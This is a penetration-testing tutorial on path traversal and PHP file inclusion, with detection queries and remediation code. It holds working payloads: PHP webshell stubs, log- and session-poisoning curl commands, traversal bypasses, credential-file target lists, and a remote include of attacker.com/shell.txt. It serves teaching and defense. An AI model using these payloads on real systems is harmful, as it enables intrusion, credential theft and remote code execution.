
Path Traversal and Local File Inclusion
Path traversal and LFI exploitation guide covering filter bypasses, log poisoning for RCE, PHP wrappers, and null byte injection.
Introduction
Path traversal exploits the web server's failure to canonicalize user-supplied file paths before using them to open files on disk. When an application accepts a file or page parameter and passes it directly to a file-open call — fopen(), include(), readfile() — the attacker controls which inode gets read. The OS resolves ../ at the kernel level, so no sanitization is needed by the attacker beyond what the application tries to strip.
Local File Inclusion (LFI) is path traversal on steroids: instead of just reading a file, the PHP runtime executes the included file as PHP code. The distinction matters because even world-readable log files become code execution vectors once you control a field that gets written to them. An Apache access log line containing <?php system($_GET['cmd']); ?> in the User-Agent field becomes a webshell the moment /var/log/apache2/access.log is passed to include().
On Windows targets, the path separator is \ but both \ and / are accepted by most functions. The equivalent of /etc/passwd is C:\Windows\win.ini — it's always present and world-readable. NTFS alternate data streams (file.txt::$DATA) occasionally matter when path construction logic strips extensions before opening.
Authorization Required
All techniques described here are for use against systems you own or have explicit written permission to test. Log poisoning and session file inclusion that achieve RCE are destructive — they write attacker-controlled content to production log files and may crash the application. Scope your payloads accordingly.
Impact
- Read
/etc/shadow,~/.ssh/id_rsa,.envfiles, and application configuration containing database credentials - Disclose PHP source via
php://filterwrappers, exposing business logic and additional vulnerabilities - Escalate from LFI to full RCE via log poisoning, session file inclusion, or
/proc/self/environinjection - Read
/proc/net/tcpto map internal network services not reachable from the outside - Extract AWS IAM credentials from
/proc/1/environor application containers - Bypass authentication by reading session stores or JWT signing secrets
- Chain with SSRF to read internal service responses via
file://URIs
Technical Details
Path traversal works because applications construct file paths by concatenating a user-supplied value onto a base directory without calling realpath() first. The OS resolves .. segments as it walks the directory tree, so ../../../../etc/passwd from /var/www/html/files/ resolves to /etc/passwd.
LFI works differently: PHP's include(), include_once(), require(), and require_once() all execute the included file as PHP. The file does not need a .php extension. A log file, a session file, or any file that contains a valid PHP tag gets parsed. The PHP interpreter reads until it finds <?php, executes everything inside, and outputs the rest as-is.
Filter Bypass Techniques
Applications attempt to prevent traversal by stripping or blocking ../. Every naive approach has a bypass:
| Defense | Bypass | Notes |
|---|---|---|
Strip ../ once | ....// or ..././ | After stripping ../, ....// becomes ../ |
Block URL-decoded ../ | %2e%2e%2f | Single URL encoding |
| Decode once, then block | %252e%252e%252f | Double encoding — %25 decodes to %, then second decode gives ../ |
Block on ../ only | ..\ on Windows | Alternate separator accepted by Win32 API |
Require prefix /var/www/html/ | /var/www/html/../../../../etc/passwd | Prepend the required base path before traversal |
Null byte strip after %00 | N/A (PHP ≥ 5.3.4 patched) | ../../etc/passwd%00.jpg used to truncate extension on older PHP |
Extension enforcement .php | php://filter wrappers | Bypass by using a stream wrapper instead of a path |
PHP Stream Wrappers
PHP exposes several built-in stream wrappers that include() and file_get_contents() both accept:
php://filter reads a file through a chain of filters before returning it. Base64-encoding the output prevents the PHP parser from executing the file and returns the raw source:
php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=../../config/database.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.phpphp://input reads from the POST body. If allow_url_include=On (default Off since PHP 5.2), including php://input executes the POST body as PHP code.
data:// embeds data inline as a URI. Same allow_url_include=On requirement:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+That base64 decodes to <?php system($_GET['cmd']); ?>.
expect:// (from the PECL expect extension, rarely enabled) executes a command directly: expect://id.
LFI to RCE Escalation Paths
Log Poisoning is the most reliable LFI→RCE path on Apache/Nginx. The access log records the User-Agent verbatim. Send a crafted request, then include the log:
- Poison the log with a PHP stub in the User-Agent header
- Include the log file via the LFI parameter
- Pass
cmdas a GET parameter to the included webshell
Apache logs: /var/log/apache2/access.log, /var/log/apache2/error.log
Nginx logs: /var/log/nginx/access.log, /var/log/nginx/error.log
SSH auth log (useful for /var/log/auth.log — inject via ssh username): ssh '<?php system($_GET["cmd"]); ?>'@target
/proc/self/environ contains the process's environment variables, which include HTTP_USER_AGENT. On older kernels (pre-2010 era), this was a common LFI→RCE path. Still occasionally seen on embedded/IoT targets.
PHP Session Files — PHP writes session data to /tmp/sess_<PHPSESSID>. If a session value is user-controlled and unsanitized, write a PHP payload into a session variable, then include /tmp/sess_<id>:
Cookie: PHPSESSID=abc123
POST body: username=<?php system($_GET['cmd']); ?>Then: ?page=../../../../tmp/sess_abc123
/proc/self/fd/ — Each open file descriptor for the current process is readable via /proc/self/fd/<n>. File descriptor 0 is stdin, 1 is stdout, 2 is stderr. Apache/PHP-FPM processes typically have the error log open at a numbered fd. Brute-force fd numbers:
?page=../../../../proc/self/fd/10
?page=../../../../proc/self/fd/11Remote File Inclusion (RFI) requires allow_url_include=On, which is disabled by default since PHP 5.2 and almost never enabled in modern deployments. When it is enabled:
?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txtHigh-Value Target Files
/etc/passwd # User enumeration
/etc/shadow # Password hashes (requires root read)
/etc/hosts # Internal network mapping
/proc/net/tcp # Open TCP connections (hex-encoded)
/proc/self/environ # Process environment variables
/proc/self/cmdline # Application invocation
~/.ssh/id_rsa # Private key (if web process = app user)
~/.ssh/authorized_keys
/var/www/html/.env # Laravel/Symfony/common framework credentials
/var/www/html/config/database.yml # Rails DB config
/var/www/html/wp-config.php # WordPress DB credentials
/etc/apache2/apache2.conf # Apache config, document root confirmation
/etc/nginx/nginx.conf
/etc/php/8.x/apache2/php.ini # PHP config, disabled functions
C:\Windows\win.ini # Windows traversal confirmation target
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config # IIS credentials, connection stringsAttack Tools
DotDotPwn is purpose-built for path traversal fuzzing across protocols (HTTP, FTP, TFTP, STDOUT).
dotdotpwn -m http -h target.com -u "http://target.com/view.php?page=TRAVERSAL" \
-f /etc/passwd -d 8 -t 200 -o unix -Xdotdotpwn -m ftp -h target.com -U ftpuser -P ftppass -d 6 -f /etc/passwdKey flags:
-d— maximum traversal depth-f— target file to read-t— time between requests (ms)-o unix|windows|unix-windows— OS type-X— use only exact match traversal strings (faster)-b— break on first find-C— cookie string:-C "PHPSESSID=abc123"
ffuf with a traversal wordlist is faster for parameter fuzzing. SecLists ships Fuzzing/LFI/LFI-Jhaddix.txt and Fuzzing/LFI/LFI-gracefulsecurity-linux.txt.
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-u "http://target.com/view.php?page=FUZZ" \
-mc 200 -fs 0 -t 50 -o results.jsonffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-u "http://target.com/view.php?page=FUZZ" \
-b "PHPSESSID=abc123; session=xyz" \
-mc 200 -fr "No such file" -t 30ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-u "http://target.com/load.php" \
-X POST -d "file=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-mc 200 -fr "invalid"Burp Intruder with the SecLists LFI wordlist. Mark the parameter value as the injection position, load the wordlist, and grep for known content (root:x:0:0 for passwd, [boot loader] for win.ini).
For PHP wrapper enumeration, use a short manual list:
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=../config.php
php://filter/convert.base64-encode/resource=../../config/database.php
../../../../etc/passwd
../../../../proc/self/environ
../../../../var/log/apache2/access.logSet a grep match on root:x: and cGhw (base64 prefix for <?php) to auto-flag successful reads.
Manual curl for precise payload control and log poisoning:
curl -s "http://target.com/view.php?page=../../../../etc/passwd"curl -s "http://target.com/view.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"curl -s "http://target.com/view.php?page=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"curl -s "http://target.com/view.php?page=php://filter/convert.base64-encode/resource=index.php" \
| grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -dcurl -s "http://target.com/" \
-A '<?php system($_GET["cmd"]); ?>'curl -s "http://target.com/view.php?page=../../../../var/log/apache2/access.log&cmd=id"# Step 1: create session with PHP payload in a user-controlled field
curl -s -c cookies.txt "http://target.com/login.php" \
-d 'username=<?php system($_GET["cmd"]); ?>&password=test'
# Step 2: include the session file
SESSION_ID=$(grep PHPSESSID cookies.txt | awk '{print $7}')
curl -s -b cookies.txt \
"http://target.com/view.php?page=../../../../tmp/sess_${SESSION_ID}&cmd=whoami"Detection
Web Application Firewall Signatures
ModSecurity Core Rule Set (CRS) triggers on:
../sequences in parameter values (Rule 930100, 930110)- URL-encoded traversal sequences (Rule 930120)
- Common LFI target paths like
/etc/passwd,win.ini(Rule 930130)
WAF evasion attempts that also trip detection:
- Multiple encodings in a single request
- Unusually long path parameters (>200 chars of
../sequences) php://filteranddata://wrapper usage
Access Log Patterns
grep -E "(\.\./|%2e%2e|%252e|\.\.\\\\)" /var/log/apache2/access.loggrep -iE "(php://filter|php://input|data://|expect://)" /var/log/apache2/access.loggrep -iE "(/etc/passwd|/etc/shadow|win\.ini|\.ssh/id_rsa|/proc/self)" /var/log/apache2/access.logSIEM / Detection Logic
For Elastic/Splunk, correlate on:
- HTTP 200 responses to requests containing
../or encoded equivalents — failed traversal attempts return 404/403, successful ones return 200 with file content - Sudden appearance of
<?phpin User-Agent strings (log poisoning setup) - Requests to
access.log,error.log,auth.logpath fragments - High-frequency requests from a single IP to the same endpoint with varying path depth (automated fuzzing pattern)
Elastic query:
{
"query": {
"bool": {
"must": [
{ "match": { "http.response.status_code": 200 } },
{ "regexp": { "url.query": ".*(\\.\\./|%2e%2e|%252e).*" } }
]
}
}
}Splunk SPL
index=web_logs status=200
| regex uri_query="(\.\./|%2e%2e|%252e|php://filter|data://)"
| stats count by src_ip, uri_path, uri_query
| where count > 3Remediation
Canonicalize before using. PHP's realpath() resolves all ../ sequences and symlinks, returning the absolute path. Compare the result against the allowed base directory:
$base = realpath('/var/www/html/templates');
$requested = realpath($base . '/' . $_GET['page']);
if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit('Access denied');
}
include $requested;Whitelist over blacklist. If the application only needs to include a finite set of templates, map user input to allowed filenames explicitly:
$allowed = [
'home' => 'templates/home.php',
'contact' => 'templates/contact.php',
'about' => 'templates/about.php',
];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $allowed)) {
http_response_code(404);
exit();
}
include $allowed[$page];Disable dangerous PHP settings in php.ini:
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmpopen_basedir restricts all file operations (including include) to the listed directories. It is not a complete control — proc_open() and some extensions bypass it — but it raises the bar significantly.
Chroot the web process. Running PHP-FPM in a chroot jail or container limits the filesystem tree the process can traverse. Even a successful ../../../../etc/passwd read fails if /etc does not exist inside the chroot.
Log file permissions. Apache/Nginx log files should not be readable by the www-data user. Set 640 with ownership root:adm. This breaks the log poisoning vector without affecting log rotation.
chmod 640 /var/log/apache2/access.log /var/log/apache2/error.log
chown root:adm /var/log/apache2/access.log /var/log/apache2/error.logSession file security. Store PHP sessions in a directory the web user cannot include:
session.save_path = /var/lib/php/sessionsEnsure /var/lib/php/sessions is outside open_basedir for read operations, or use an encrypted session handler that stores data in a database instead of flat files.
References
MITRE ATT&CK Techniques
- T1083 - File and Directory Discovery
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1190 - Exploit Public-Facing Application
Tools Documentation
- DotDotPwn - The Directory Traversal Fuzzer
- ffuf - Fast Web Fuzzer
- SecLists LFI Wordlists
- PayloadsAllTheThings - File Inclusion
- HackTricks - LFI2RCE
- PHP Manual - Supported Protocols and Wrappers
Next Steps
Outdated JavaScript Dependencies
Security risks of outdated JavaScript dependencies including XSS, RCE, and supply chain attacks. Detection strategies and remediation using npm audit and Snyk.
SQL Injection: Complete Attack Guide
SQL injection attacks including detection, exploitation, bypass techniques, and remediation for web application penetration testing.